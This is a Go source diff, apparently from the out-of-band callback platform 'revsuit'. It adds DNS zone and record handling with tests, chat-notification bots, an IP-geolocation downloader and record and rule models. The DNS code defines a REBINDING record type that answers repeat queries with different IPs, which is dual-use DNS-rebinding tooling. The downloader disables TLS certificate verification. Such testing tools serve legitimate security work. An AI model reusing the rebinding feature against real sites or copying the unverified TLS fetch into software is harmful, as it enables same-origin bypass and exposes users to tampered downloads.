File diff suppressed because it is too large Load Diff
+71
View File
@@ -0,0 +1,71 @@
package newdns
import (
"time"
"github.com/pkg/errors"
)
// Set is a set of records.
type Set struct {
// The FQDN of the set.
Name string
// The type of the record.
Type Type
// The records in the set.
Records []Record
// The TTL of the set.
//
// Default: 5m.
TTL time.Duration
}
// Validate will validate the set and ensure defaults.
func (s *Set) Validate() error {
// check name
if !IsDomain(s.Name, true) {
return errors.Errorf("invalid name: %s", s.Name)
}
// check type
if !s.Type.valid() {
return errors.Errorf("invalid type: %d", s.Type)
}
// check records
if len(s.Records) == 0 {
return errors.Errorf("missing records")
}
// check CNAME records
if s.Type == CNAME && len(s.Records) > 1 {
return errors.Errorf("multiple CNAME records")
}
// validate records
for _, record := range s.Records {
err := record.Validate(s.Type)
if err != nil {
return errors.Wrap(err, "invalid record")
}
}
// check for duplicate addresses if not TXT
if len(s.Records) > 1 && s.Type != TXT {
for i := 0; i < len(s.Records)-1; i++ {
if s.Records[i].Address == s.Records[i+1].Address {
return errors.Errorf("duplicate address: %s", s.Records[i].Address)
}
}
}
// set default ttl
if s.TTL == 0 {
s.TTL = 5 * time.Minute
}
return nil
}
+85
View File
@@ -0,0 +1,85 @@
package newdns
import (
"testing"
"github.com/stretchr/testify/assert"
)
func TestSetValidate(t *testing.T) {
table := []struct {
set Set
err string
}{
{
set: Set{
Name: "foo",
},
err: "invalid name: foo",
},
{
set: Set{
Name: "example.com.",
},
err: "invalid type: 0",
},
{
set: Set{
Name: "example.com.",
Type: A,
},
err: "missing records",
},
{
set: Set{
Name: "example.com.",
Type: A,
Records: []Record{
{Address: "foo"},
},
},
err: "invalid record: invalid IPv4 address: foo",
},
{
set: Set{
Name: "example.com.",
Type: TXT,
Records: []Record{
{},
},
},
err: "invalid record: missing data",
},
{
set: Set{
Name: "example.com.",
Type: CNAME,
Records: []Record{
{},
{},
},
},
err: "multiple CNAME records",
},
{
set: Set{
Name: "example.com.",
Type: A,
Records: []Record{
{Address: "1.2.3.4"},
{Address: "1.2.3.4"},
},
},
err: "duplicate address: 1.2.3.4",
},
}
for i, item := range table {
err := item.set.Validate()
if err != nil {
assert.Equal(t, item.err, err.Error(), i)
} else {
assert.Equal(t, item.err, "", item)
}
}
}
+136
View File
@@ -0,0 +1,136 @@
package newdns
import (
"math"
"strings"
"time"
"github.com/miekg/dns"
)
// IsDomain returns whether the name is a valid domain and if requested also
// fully qualified.
func IsDomain(name string, fqdn bool) bool {
_, ok := dns.IsDomainName(name)
return ok && (!fqdn || fqdn && dns.IsFqdn(name))
}
// InZone returns whether the provided name is part of the provided zone. Will
// always return false if the provided domains are not valid.
func InZone(zone, name string) bool {
// check domains
if !IsDomain(zone, false) || !IsDomain(name, false) {
return false
}
return dns.IsSubDomain(zone, name)
}
// TrimZone will remove the zone from the specified name.
func TrimZone(zone, name string) string {
// return immediately if not in zone
if !InZone(zone, name) {
return name
}
// count zone labels
count := dns.CountLabel(zone)
// get segments
labels := dns.SplitDomainName(name)
// get new labels
newLabels := labels[0 : len(labels)-count]
// join name
newName := strings.Join(newLabels, ".")
return newName
}
// NormalizeDomain will normalize the provided domain name by removing space
// around the name and lowercase it if request.
func NormalizeDomain(name string, lower, makeFQDN, removeFQDN bool) string {
// remove spaces
name = strings.TrimSpace(name)
// lowercase if requested
if lower {
name = strings.ToLower(name)
}
// make FQDN if requested
if makeFQDN {
name = dns.Fqdn(name)
}
// remove FQDN if requested
if removeFQDN && dns.IsFqdn(name) {
name = name[:len(name)-1]
}
return name
}
// SplitDomain will split the provided domain either in separate labels or
// hierarchical labels. The later allows walking a domain up to the root.
func SplitDomain(name string, hierarchical bool) []string {
// normalize name
name = NormalizeDomain(name, false, false, true)
// return nil if empty
if name == "" {
return nil
}
// split in labels
if !hierarchical {
return dns.SplitDomainName(name)
}
// prepare list
var list []string
// walk domain
for off, end := 0, false; !end; off, end = dns.NextLabel(name, off) {
list = append(list, name[off:])
}
return list
}
// TransferCase will transfer the case from the source name to the destination.
// For the source "foo.AAA.com." and destination "aaa.com" the function will
// return "AAA.com". The source must be either a child or the same as the
// destination.
func TransferCase(source, destination string) string {
// get lower variants
lowSource := strings.ToLower(source)
lowDestination := strings.ToLower(destination)
// get index of destination in source
index := strings.Index(lowSource, lowDestination)
if index < 0 {
return destination
}
// take shared part from source
return source[index:]
}
func emailToDomain(email string) string {
// split on at
parts := strings.Split(email, "@")
// replace dots in username
parts[0] = strings.ReplaceAll(parts[0], ".", "\\.")
// join domain
name := parts[0] + "." + parts[1]
return dns.Fqdn(name)
}
func toSeconds(d time.Duration) uint32 {
return uint32(math.Ceil(d.Seconds()))
}
+95
View File
@@ -0,0 +1,95 @@
package newdns
import (
"testing"
"github.com/stretchr/testify/assert"
)
func TestIsDomain(t *testing.T) {
assert.True(t, IsDomain("example.com", false))
assert.False(t, IsDomain("example.com", true))
assert.True(t, IsDomain("example.com.", true))
assert.True(t, IsDomain(" example.com.", true))
assert.False(t, IsDomain("", false))
assert.True(t, IsDomain("x", false))
assert.True(t, IsDomain(".", false))
}
func TestInZone(t *testing.T) {
assert.True(t, InZone("example.com.", "foo.example.com."))
assert.True(t, InZone("example.com", "foo.example.com"))
assert.True(t, InZone("example.com", "example.com"))
assert.True(t, InZone(".", "com"))
assert.True(t, InZone(".", "."))
assert.False(t, InZone("", "."))
assert.False(t, InZone("", ""))
assert.False(t, InZone("foo.example.com", "example.com"))
}
func TestTrimZone(t *testing.T) {
assert.Equal(t, "foo", TrimZone("example.com.", "foo.example.com."))
assert.Equal(t, "foo", TrimZone("example.com", "foo.example.com"))
assert.Equal(t, "", TrimZone("example.com", "example.com"))
assert.Equal(t, "example.com", TrimZone("foo.example.com", "example.com"))
}
func TestNormalizeDomain(t *testing.T) {
assert.Equal(t, "", NormalizeDomain("", false, false, false))
assert.Equal(t, ".", NormalizeDomain("", false, true, false))
assert.Equal(t, "foo", NormalizeDomain(" foo", false, false, false))
assert.Equal(t, "foo", NormalizeDomain("foo ", false, false, false))
assert.Equal(t, "foo", NormalizeDomain(" fOO ", true, false, false))
assert.Equal(t, "foo.", NormalizeDomain(" fOO ", true, true, false))
assert.Equal(t, "foo", NormalizeDomain(" fOO. ", true, false, true))
}
func TestSplitDomain(t *testing.T) {
assert.Equal(t, []string(nil), SplitDomain("", false))
assert.Equal(t, []string(nil), SplitDomain(".", false))
assert.Equal(t, []string{"foo"}, SplitDomain("foo", false))
assert.Equal(t, []string{"foo", "bar"}, SplitDomain("foo.bar", false))
assert.Equal(t, []string(nil), SplitDomain("", true))
assert.Equal(t, []string(nil), SplitDomain(".", true))
assert.Equal(t, []string{"foo"}, SplitDomain("foo", true))
assert.Equal(t, []string{"foo.bar", "bar"}, SplitDomain("foo.bar", true))
}
func TestTransferCase(t *testing.T) {
table := []struct {
src string
dst string
out string
}{
{
src: "example.com",
dst: "example.com",
out: "example.com",
},
{
src: "EXAmple.com",
dst: "example.com",
out: "EXAmple.com",
},
{
src: "FOO.com",
dst: "bar.com",
out: "bar.com",
},
{
src: "foo.EXAmple.com",
dst: "example.com",
out: "EXAmple.com",
},
{
src: "foo.EXAmple.com",
dst: "bar.example.com",
out: "bar.example.com",
},
}
for i, item := range table {
assert.Equal(t, item.out, TransferCase(item.src, item.dst), i)
}
}
+49
View File
@@ -0,0 +1,49 @@
package newdns
import "github.com/miekg/dns"
// Type denotes the DNS record type.
type Type uint16
const (
// A records return IPV4 addresses.
A = Type(dns.TypeA)
// AAAA records return IPV6 addresses.
AAAA = Type(dns.TypeAAAA)
// CNAME records return other DNS names.
CNAME = Type(dns.TypeCNAME)
// MX records return mails servers with their priorities. The target mail
// servers must itself be returned with an A or AAAA record.
MX = Type(dns.TypeMX)
// TXT records return arbitrary text data.
TXT = Type(dns.TypeTXT)
// NS records delegate names to other name servers.
NS = Type(dns.TypeNS)
// REBINDING records return different ip when the same client requests twice.
REBINDING = Type(99)
)
func (t Type) valid() bool {
switch t {
case A, AAAA, CNAME, MX, TXT, NS, REBINDING:
return true
default:
return false
}
}
func typeInList(list []Type, needle Type) bool {
for _, t := range list {
if t == needle {
return true
}
}
return false
}
+101
View File
@@ -0,0 +1,101 @@
package newdns
import (
"bytes"
"encoding/json"
"sort"
"strings"
"testing"
"time"
"github.com/miekg/dns"
"github.com/stretchr/testify/assert"
)
func run(s *Server, addr string, fn func()) {
defer s.Close()
go func() {
err := s.Run(addr)
if err != nil {
panic(err)
}
}()
time.Sleep(100 * time.Millisecond)
fn()
}
func serve(handler dns.Handler, addr string, fn func()) {
closer := make(chan struct{})
defer close(closer)
go func() {
err := Run(addr, handler, Accept(nil), closer)
if err != nil {
panic(err)
}
}()
time.Sleep(100 * time.Millisecond)
fn()
}
func equalJSON(t *testing.T, a, b interface{}) {
buf := new(bytes.Buffer)
e := json.NewEncoder(buf)
e.SetIndent("", " ")
_ = e.Encode(a)
aa := buf.String()
buf.Reset()
_ = e.Encode(b)
bb := buf.String()
assert.JSONEq(t, aa, bb)
}
func order(rrs []dns.RR) []dns.RR {
cpy := make([]dns.RR, len(rrs))
copy(cpy, rrs)
sort.Slice(cpy, func(i, j int) bool {
var ai string
switch rr := cpy[i].(type) {
case *dns.NS:
ai = rr.Ns
rr.Hdr.Rdlength = 0
}
var aj string
switch rr := cpy[j].(type) {
case *dns.NS:
aj = rr.Ns
rr.Hdr.Rdlength = 0
}
return ai < aj
})
return cpy
}
func isIOError(err error) bool {
if err == nil {
return false
}
if strings.Contains(err.Error(), "i/o timeout") {
return true
}
if strings.Contains(err.Error(), "connection reset by peer") {
return true
}
return false
}
+263
View File
@@ -0,0 +1,263 @@
package newdns
import (
"fmt"
"time"
"github.com/pkg/errors"
)
// Zone describes a single authoritative DNS zone.
type Zone struct {
// The FQDN of the zone e.g. "example.com.".
Name string
// The FQDN of the master mame server responsible for this zone. The FQDN
// must be returned as A and AAAA record by the parent zone.
MasterNameServer string
// A list of FQDNs to all authoritative name servers for this zone. The
// FQDNs must be returned as A and AAAA records by the parent zone. It is
// required to announce at least two distinct name servers per zone.
AllNameServers []string
// The email address of the administrator e.g. "[email protected]".
//
// Default: "hostmaster@NAME".
AdminEmail string
// The refresh interval.
//
// Default: 6h.
Refresh time.Duration
// The retry interval for the zone.
//
// Default: 1h.
Retry time.Duration
// The expiration interval of the zone.
//
// Default: 72h.
Expire time.Duration
// The TTL for the SOA record.
//
// Default: 15m.
SOATTL time.Duration
// The TTL for NS records.
//
// Default: 48h.
NSTTL time.Duration
// The minimum TTL for all records. Either this value, or the SOATTL if lower,
// is used to determine the "negative caching TTL" which is the duration
// caches are allowed to cache missing records (NXDOMAIN).
//
// Default: 5min.
MinTTL time.Duration
// The handler that responds to requests for this zone. The returned sets
// must not be altered going forward.
Handler func(name, remoteAddr string) ([]Set, error)
}
// Validate will validate the zone and ensure the documented defaults.
func (z *Zone) Validate() error {
// check name
if !IsDomain(z.Name, true) {
return errors.Errorf("name not fully qualified: %s", z.Name)
}
// check master name server
if !IsDomain(z.MasterNameServer, true) {
return errors.Errorf("master server not full qualified: %s", z.MasterNameServer)
}
// check name server count
if len(z.AllNameServers) < 1 {
return errors.Errorf("missing name servers")
}
// check name servers
var includesMaster bool
for _, ns := range z.AllNameServers {
if !IsDomain(ns, true) {
return errors.Errorf("name server not fully qualified: %s", ns)
}
if ns == z.MasterNameServer {
includesMaster = true
}
}
// check master inclusion
if !includesMaster {
return errors.Errorf("master name server not listed as name server: %s", z.MasterNameServer)
}
// set default admin email
if z.AdminEmail == "" {
z.AdminEmail = fmt.Sprintf("hostmaster@%s", z.Name)
}
// check admin email
if !IsDomain(emailToDomain(z.AdminEmail), true) {
return errors.Errorf("admin email cannot be converted to a domain name: %s", z.AdminEmail)
}
// set default refresh
if z.Refresh == 0 {
z.Refresh = 6 * time.Hour
}
// set default retry
if z.Retry == 0 {
z.Retry = time.Hour
}
// set default expire
if z.Expire == 0 {
z.Expire = 72 * time.Hour
}
// set default SOA TTL
if z.SOATTL == 0 {
z.SOATTL = 15 * time.Minute
}
// set default NS TTL
if z.NSTTL == 0 {
z.NSTTL = 48 * time.Hour
}
// set default min TTL
if z.MinTTL == 0 {
z.MinTTL = 5 * time.Minute
}
// check retry
if z.Retry >= z.Refresh {
return errors.Errorf("retry must be less than refresh: %d", z.Retry)
}
// check expire
if z.Expire < z.Refresh+z.Retry {
return errors.Errorf("expire must be bigger than the sum of refresh and retry: %d", z.Expire)
}
return nil
}
// Lookup will lookup the specified name in the zone and return results for the
// specified record types. If no results are returned, the second return value
// indicates if there are other results for the specified name.
func (z *Zone) Lookup(name, remoteAddr string, needle ...Type) ([]Set, bool, error) {
// check name
if !IsDomain(name, true) {
return nil, false, errors.Errorf("invalid name: %s", name)
}
// normalize name
name = NormalizeDomain(name, true, false, false)
// check name
if !InZone(z.Name, name) {
return nil, false, errors.Errorf("name does not belong to zone: %s", name)
}
// prepare result
var result []Set
for i := 0; ; i++ {
// get sets
sets, err := z.Handler(TrimZone(z.Name, name),remoteAddr)
if err != nil {
return nil, false, errors.Wrap(err, "zone handler error")
}
// return immediately if initial set is empty
if i == 0 && len(sets) == 0 {
return nil, false, nil
}
// prepare counters
counters := map[Type]int{
A: 0,
AAAA: 0,
CNAME: 0,
MX: 0,
TXT: 0,
}
// validate sets
for _, set := range sets {
// validate set
err = set.Validate()
if err != nil {
return nil, false, errors.Wrap(err, "invalid set")
}
// check relationship
if !InZone(z.Name, set.Name) {
return nil, false, errors.Errorf("set does not belong to zone: %s", set.Name)
}
// increment counter
counters[set.Type]++
}
// check counters
for _, counter := range counters {
if counter > 1 {
return nil, false, errors.New("multiple sets for same type")
}
}
// check apex CNAME
if counters[CNAME] > 0 && name == z.Name {
return nil, false, errors.Errorf("invalid CNAME set at apex: %s", name)
}
// check CNAME is stand-alone
if counters[CNAME] > 0 && (len(sets) > 1) {
return nil, false, errors.Errorf("other sets with CNAME set: %s", name)
}
// check if CNAME and query is not CNAME
if counters[CNAME] > 0 && !typeInList(needle, CNAME) {
// add set to result
result = append(result, sets[0])
// get normalized address
address := NormalizeDomain(sets[0].Records[0].Address, true, false, false)
// continue lookup with CNAME address if address is in zone
if InZone(z.Name, address) {
name = address
continue
}
return result, false, nil
}
// add matching set
for _, set := range sets {
if typeInList(needle, set.Type) {
// add set to result
result = append(result, set)
break
}
}
// return if there are not matches, but indicate that there are sets
// available for other types
if len(result) == 0 {
return nil, true, nil
}
return result, false, nil
}
}
+207
View File
@@ -0,0 +1,207 @@
package newdns
import (
"io"
"testing"
"github.com/stretchr/testify/assert"
)
func TestZoneValidate(t *testing.T) {
table := []struct {
zne Zone
err string
}{
{
zne: Zone{
Name: "foo",
},
err: "name not fully qualified: foo",
},
{
zne: Zone{
Name: "example.com.",
MasterNameServer: "foo",
},
err: "master server not full qualified: foo",
},
{
zne: Zone{
Name: "example.com.",
MasterNameServer: "n1.example.com.",
},
err: "missing name servers",
},
{
zne: Zone{
Name: "example.com.",
MasterNameServer: "n1.example.com.",
AllNameServers: []string{
"foo",
},
},
err: "name server not fully qualified: foo",
},
{
zne: Zone{
Name: "example.com.",
MasterNameServer: "n2.example.com.",
AllNameServers: []string{
"n1.example.com.",
},
},
err: "master name server not listed as name server: n2.example.com.",
},
{
zne: Zone{
Name: "example.com.",
MasterNameServer: "n1.example.com.",
AllNameServers: []string{
"n1.example.com.",
},
},
},
{
zne: Zone{
Name: "example.com.",
MasterNameServer: "n1.example.com.",
AllNameServers: []string{
"n1.example.com.",
},
AdminEmail: "[email protected]",
},
err: "admin email cannot be converted to a domain name: [email protected]",
},
{
zne: Zone{
Name: "example.com.",
MasterNameServer: "n1.example.com.",
AllNameServers: []string{
"n1.example.com.",
},
Refresh: 1,
Retry: 2,
},
err: "retry must be less than refresh: 2",
},
{
zne: Zone{
Name: "example.com.",
MasterNameServer: "n1.example.com.",
AllNameServers: []string{
"n1.example.com.",
},
Expire: 1,
Retry: 2,
},
err: "expire must be bigger than the sum of refresh and retry: 1",
},
}
for i, item := range table {
err := item.zne.Validate()
if err != nil {
assert.EqualValues(t, item.err, err.Error(), i)
} else {
assert.Equal(t, item.err, "", item)
}
}
}
func TestZoneLookup(t *testing.T) {
zone := Zone{
Name: "example.com.",
MasterNameServer: "ns1.example.com.",
AllNameServers: []string{
"ns1.example.com.",
"ns2.example.com.",
},
Handler: func(name,remoteAddr string) ([]Set, error) {
if name == "error" {
return nil, io.EOF
}
if name == "invalid1" {
return []Set{
{Name: "foo"},
}, nil
}
if name == "invalid2" {
return []Set{
{Name: "foo.", Type: A, Records: []Record{{Address: "1.2.3.4"}}},
}, nil
}
if name == "multiple" {
return []Set{
{Name: "foo.example.com.", Type: A, Records: []Record{{Address: "1.2.3.4"}}},
{Name: "foo.example.com.", Type: A, Records: []Record{{Address: "1.2.3.4"}}},
}, nil
}
if name == "" {
return []Set{
{Name: "example.com.", Type: CNAME, Records: []Record{{Address: "cool.com."}}},
}, nil
}
if name == "cname" {
return []Set{
{Name: "cname.example.com.", Type: A, Records: []Record{{Address: "1.2.3.4"}}},
{Name: "cname.example.com.", Type: CNAME, Records: []Record{{Address: "cool.com."}}},
}, nil
}
return nil, nil
},
}
err := zone.Validate()
assert.NoError(t, err)
table := []struct {
name string
err string
}{
{
name: "foo",
err: "invalid name: foo",
},
{
name: "foo.",
err: "name does not belong to zone: foo.",
},
{
name: "error.example.com.",
err: "zone handler error: EOF",
},
{
name: "invalid1.example.com.",
err: "invalid set: invalid name: foo",
},
{
name: "invalid2.example.com.",
err: "set does not belong to zone: foo.",
},
{
name: "multiple.example.com.",
err: "multiple sets for same type",
},
{
name: "example.com.",
err: "invalid CNAME set at apex: example.com.",
},
{
name: "cname.example.com.",
err: "other sets with CNAME set: cname.example.com.",
},
}
for i, item := range table {
res, exists, err := zone.Lookup(item.name, "127.0.0.1", A)
assert.Equal(t, item.err, err.Error(), i)
assert.False(t, exists, i)
assert.Nil(t, res, i)
}
}
+47
View File
@@ -0,0 +1,47 @@
package notice
import (
"sync"
"github.com/li4n0/revsuit/internal/record"
log "unknwon.dev/clog/v2"
)
var (
lock sync.RWMutex
announcer *Announcer
)
// Bot is used to send notice
type Bot interface {
notice(record.Record) error
buildPayload(record.Record) string
}
// Announcer is used for storage and schedule bots
type Announcer struct {
Bots []Bot
}
// New initializes a new Announcer
func New() *Announcer {
announcer = &Announcer{Bots: make([]Bot, 0)}
return announcer
}
// AddBot add a new bot to Announcer
func (a *Announcer) AddBot(b Bot) *Announcer {
lock.RLock()
a.Bots = append(a.Bots, b)
lock.RUnlock()
return a
}
// Notice let bots to send notice
func Notice(r record.Record) {
for _, bot := range announcer.Bots {
if err := bot.notice(r); err != nil {
log.Error(err.Error())
}
}
}
+71
View File
@@ -0,0 +1,71 @@
package notice
import (
"encoding/json"
"fmt"
"io/ioutil"
"net/http"
"strings"
"github.com/li4n0/revsuit/internal/record"
)
var _ Bot = (*DingTalk)(nil)
type DingTalk struct {
URL string
}
type dingAt struct {
AtMobiles []string `json:"atMobiles"`
IsAtAll bool `json:"isAtAll"`
}
type dingMarkdown struct {
Title string `json:"title"`
Text string `json:"text"`
}
type dingPayload struct {
MsgType string `json:"msgtype"`
Markdown dingMarkdown `json:"markdown"`
At []dingAt `json:"at"`
}
func (d *DingTalk) buildPayload(r record.Record) string {
payload := dingPayload{
MsgType: "markdown",
Markdown: dingMarkdown{
Title: "New Connection",
Text: "**<font color=\"#e96900\" face=\"Fira Code\" size=\"3\">New Connection</font>**\n" +
formatRecordField(r, "> **<font color=\"#e96900\" face=\"Fira Code\">%s: </font>**<font color=\"#e96900\" face=\"Fira Code\">%v</font>\n"),
},
At: []dingAt{
{
IsAtAll: true,
},
},
}
p, err := json.Marshal(&payload)
if err != nil {
return ""
}
return string(p)
}
func (d *DingTalk) notice(r record.Record) error {
resp, err := http.DefaultClient.Post(d.URL, "application/json", strings.NewReader(d.buildPayload(r)))
if err != nil {
return fmt.Errorf("HTTP request: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode/100 != 2 {
data, err := ioutil.ReadAll(resp.Body)
if err != nil {
return fmt.Errorf("read HTTP response body: %v", err)
}
return fmt.Errorf("non-success response status code %d with body: %s", resp.StatusCode, data)
}
return nil
}
+32
View File
@@ -0,0 +1,32 @@
package notice
import (
"fmt"
"reflect"
"strings"
"github.com/li4n0/revsuit/internal/record"
)
func formatRecordField(r record.Record,fieldFormat string) (content string) {
structType := reflect.ValueOf(r)
for i := 0; i < structType.NumField(); i++ {
structField := structType.Type().Field(i)
fieldName := structField.Name
tag := structField.Tag
label := tag.Get("notice")
if label == "-" {
continue
} else if label != "" {
fieldName = label
}
value := structType.Field(i).Interface()
if value, ok := value.(record.Record); ok {
content += formatRecordField(value, fieldFormat)
continue
}
content += fmt.Sprintf(fieldFormat+"\n", strings.ToUpper(fieldName), value)
}
strings.TrimSuffix(content, "\n")
return
}
+86
View File
@@ -0,0 +1,86 @@
package notice
import (
"encoding/json"
"fmt"
"io/ioutil"
"net/http"
"strings"
"github.com/li4n0/revsuit/internal/record"
)
var _ Bot = (*Lark)(nil)
type Lark struct {
URL string
}
type larkText struct {
Content string `json:"content"`
Tag string `json:"tag"`
}
type larkElement struct {
Tag string `json:"tag"`
Text larkText `json:"text"`
}
type larkCard struct {
Header larkHeader `json:"header"`
Elements []larkElement `json:"elements"`
}
type larkHeader struct {
Title larkText `json:"title"`
}
type larkPayload struct {
MsgType string `json:"msg_type"`
Card larkCard `json:"card"`
}
func (d *Lark) buildPayload(r record.Record) string {
payload := larkPayload{
MsgType: "interactive",
Card: larkCard{
Header:larkHeader{
Title: larkText{
Tag: "plain_text",
Content: "New Connection",
},
},
Elements: []larkElement{
{
Tag: "div",
Text: larkText{
Tag: "lark_md",
Content: formatRecordField(r,"**%s**: %v"),
},
},
},
},
}
p, err := json.Marshal(&payload)
if err != nil {
return ""
}
return string(p)
}
func (d *Lark) notice(r record.Record) error {
resp, err := http.DefaultClient.Post(d.URL, "application/json", strings.NewReader(d.buildPayload(r)))
if err != nil {
return fmt.Errorf("HTTP request: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode/100 != 2 {
data, err := ioutil.ReadAll(resp.Body)
if err != nil {
return fmt.Errorf("read HTTP response body: %v", err)
}
return fmt.Errorf("non-success response status code %d with body: %s", resp.StatusCode, data)
}
return nil
}
+84
View File
@@ -0,0 +1,84 @@
package notice
import (
"encoding/json"
"fmt"
"io/ioutil"
"net/http"
"strings"
"github.com/li4n0/revsuit/internal/record"
)
var _ Bot = (*Slack)(nil)
type Slack struct {
URL string
}
type slackText struct {
Type string `json:"type"`
Text string `json:"text"`
}
type slackBlock struct {
Type string `json:"type"`
Text slackText `json:"text"`
}
type slackAttachments struct {
Color string `json:"color"`
Blocks []slackBlock `json:"blocks"`
}
type slackPayload struct {
Attachments []slackAttachments `json:"attachments"`
}
func (d *Slack) buildPayload(r record.Record) string {
payload := slackPayload{
Attachments: []slackAttachments{
{
Color: "#f2c744",
Blocks: []slackBlock{
{
Type: "header",
Text: slackText{
Type: "plain_text",
Text: "New Connection",
},
},
{
Type: "section",
Text: slackText{
Type: "mrkdwn",
Text: formatRecordField(r, "- `%s: %v`"),
},
},
},
},
},
}
p, err := json.Marshal(&payload)
if err != nil {
return ""
}
return string(p)
}
func (d *Slack) notice(r record.Record) error {
resp, err := http.DefaultClient.Post(d.URL, "application/json", strings.NewReader(d.buildPayload(r)))
if err != nil {
return fmt.Errorf("HTTP request: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode/100 != 2 {
data, err := ioutil.ReadAll(resp.Body)
if err != nil {
return fmt.Errorf("read HTTP response body: %v", err)
}
return fmt.Errorf("non-success response status code %d with body: %s", resp.StatusCode, data)
}
return nil
}
+59
View File
@@ -0,0 +1,59 @@
package notice
import (
"encoding/json"
"fmt"
"io/ioutil"
"net/http"
"strings"
"github.com/li4n0/revsuit/internal/record"
)
var _ Bot = (*Weixin)(nil)
type Weixin struct {
URL string
}
type weixinMarkdown struct {
Content string `json:"content"`
}
type weixinPayload struct {
ToUser string `json:"touser"`
MsgType string `json:"msgtype"`
Markdown weixinMarkdown `json:"markdown"`
}
func (w *Weixin) buildPayload(r record.Record) string {
payload := weixinPayload{
ToUser: "@all",
MsgType: "markdown",
Markdown: weixinMarkdown{
Content: "<font color=\"#e96900\" face=\"Fira Code\" size=3>New Connection</font>\n" +
formatRecordField(r, `> **<font color="#e96900" face="Fira Code">%s: </font>**<font color="#e96900" face="Fira Code">%v</font>`),
},
}
p, err := json.Marshal(&payload)
if err != nil {
return ""
}
return string(p)
}
func (w *Weixin) notice(r record.Record) error {
resp, err := http.DefaultClient.Post(w.URL, "application/json", strings.NewReader(w.buildPayload(r)))
if err != nil {
return fmt.Errorf("HTTP request: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode/100 != 2 {
data, err := ioutil.ReadAll(resp.Body)
if err != nil {
return fmt.Errorf("read HTTP response body: %v", err)
}
return fmt.Errorf("non-success response status code %d with body: %s", resp.StatusCode, data)
}
return nil
}
+99
View File
@@ -0,0 +1,99 @@
package qqwry
import (
"bytes"
"compress/zlib"
"crypto/tls"
"encoding/binary"
"errors"
"io/ioutil"
"net/http"
"sync"
"time"
log "unknwon.dev/clog/v2"
)
const (
COPY_WRITE_URL = "https://qqwry.mirror.noc.one/copywrite.rar"
QQWRY_URL = "https://qqwry.mirror.noc.one/qqwry.rar"
)
func get(url string) (b []byte, err error) {
client := http.Client{
Timeout: 90 * time.Second,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // disable verify
}}
request, _ := http.NewRequest("GET", url, nil)
request.Header.Add("User-Agent", "Nali/2.1.2 (Nali CLI, https://nali.skk.moe)")
resp, err := client.Do(request)
if err != nil {
return
}
defer resp.Body.Close()
b, err = ioutil.ReadAll(resp.Body)
return
}
func getKey(b []byte) (key uint32, err error) {
if len(b) != 280 {
return 0, errors.New("copywrite.rar is corrupt")
}
key = binary.LittleEndian.Uint32(b[20:])
return
}
func decrypt(b []byte, key uint32) (_ []byte, err error) {
for i := 0; i < 0x200; i++ {
key *= uint32(0x805)
key++
key &= uint32(0xff)
b[i] = b[i] ^ byte(key)
}
rc, err := zlib.NewReader(bytes.NewBuffer(b))
if err != nil {
return
}
defer rc.Close()
return ioutil.ReadAll(rc)
}
func download() (err error) {
var (
copyWriteData, qqwryData []byte
wg sync.WaitGroup
)
log.Info("Downloading qqwry.dat...")
wg.Add(2)
go func() {
defer wg.Done()
if copyWriteData, err = get(COPY_WRITE_URL); err != nil {
return
}
}()
go func() {
defer wg.Done()
if qqwryData, err = get(QQWRY_URL); err != nil {
return
}
}()
wg.Wait()
if err != nil {
return err
}
var key uint32
if key, err = getKey(copyWriteData); err != nil {
return
}
b, err := decrypt(qqwryData, key)
if err != nil {
return err
}
_ = ioutil.WriteFile("qqwry.dat", b, 0644)
return nil
}
+14
View File
@@ -0,0 +1,14 @@
package qqwry
// Area return IpArea according to ip
func Area(ip string) string {
ipData := GetQQWry().SearchByIPv4(ip)
if GetQQWry() == nil {
return ""
}
if ipData.Area == " CZ88.NET" {
return ipData.Country
} else {
return ipData.Country + " " + ipData.Area
}
}
+47
View File
@@ -0,0 +1,47 @@
package qqwry
import (
"os"
"sync"
"time"
"github.com/sinlov/qqwry-golang/qqwry"
log "unknwon.dev/clog/v2"
)
var wry *qqwry.QQwry
var once sync.Once
func init() {
info, err := os.Stat("qqwry.dat")
if err != nil {
if os.IsNotExist(err) {
err := download()
if err != nil {
log.Error("Download qqwry.dat failed, caused by:%v, recommend to download it by yourself otherwise the `IpArea` will be null", err.Error())
}
}
} else if info.ModTime().Sub(time.Now()) > 5*24*time.Hour {
log.Info("Updating qqwry.dat...")
err := download()
if err != nil {
log.Warn("Update qqwry.dat failed, please download qqwry.dat by yourself")
}
}
}
func GetQQWry() *qqwry.QQwry {
once.Do(func() {
qqwry.DatData.FilePath = "qqwry.dat"
init := qqwry.DatData.InitDatFile()
if v, ok := init.(error); ok {
if v != nil {
log.Error("qqwry init failed")
wry = nil
}
}
wry = qqwry.NewQQwry()
})
return wry
}
+38
View File
@@ -0,0 +1,38 @@
package record
import (
"time"
)
var recordChan = make(chan BaseRecord, 100)
type Record interface {
GetFlag() string
PushToClient()
Notice()
}
type BaseRecord struct {
Record `gorm:"-" json:"-"`
ID uint `gorm:"primarykey" form:"id" json:"id" notice:"-"`
RuleName string `gorm:"index" form:"rule_name" json:"rule_name" notice:"rule"`
Flag string `gorm:"index" form:"flag" json:"flag" `
RemoteIP string `gorm:"index" form:"remote_ip" json:"remote_ip" notice:"remote_ip"`
IpArea string `form:"ip_area" json:"ip_area" notice:"ip_area"`
RequestTime time.Time `gorm:"index" form:"request_time" json:"request_time" notice:"-"`
}
func (b BaseRecord) GetFlag() string {
return b.Flag
}
func (b BaseRecord) PushToClient() {
recordChan <- b
}
func (b BaseRecord) Notice() {
}
func Channel() chan BaseRecord {
return recordChan
}
+65
View File
@@ -0,0 +1,65 @@
package rule
import (
"regexp"
"time"
log "unknwon.dev/clog/v2"
)
type Rule interface {
CreateOrUpdate() error
Delete() error
}
type BaseRule struct {
Rule `gorm:"-" json:"-"`
ID uint `gorm:"primarykey" form:"id" json:"id"`
CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at"`
Name string `gorm:"index;unique;not null;" form:"name" json:"name"`
FlagFormat string `gorm:"unique;not null;" form:"flag_format" json:"flag_format"`
flagCatcher *regexp.Regexp `gorm:"-" json:"-"`
Rank int `gorm:"default:0" json:"rank" form:"rank"`
PushToClient bool `gorm:"default:false;not null;" form:"push_to_client" json:"push_to_client"`
Notice bool `gorm:"default:false;not null;" form:"notice" json:"notice"`
}
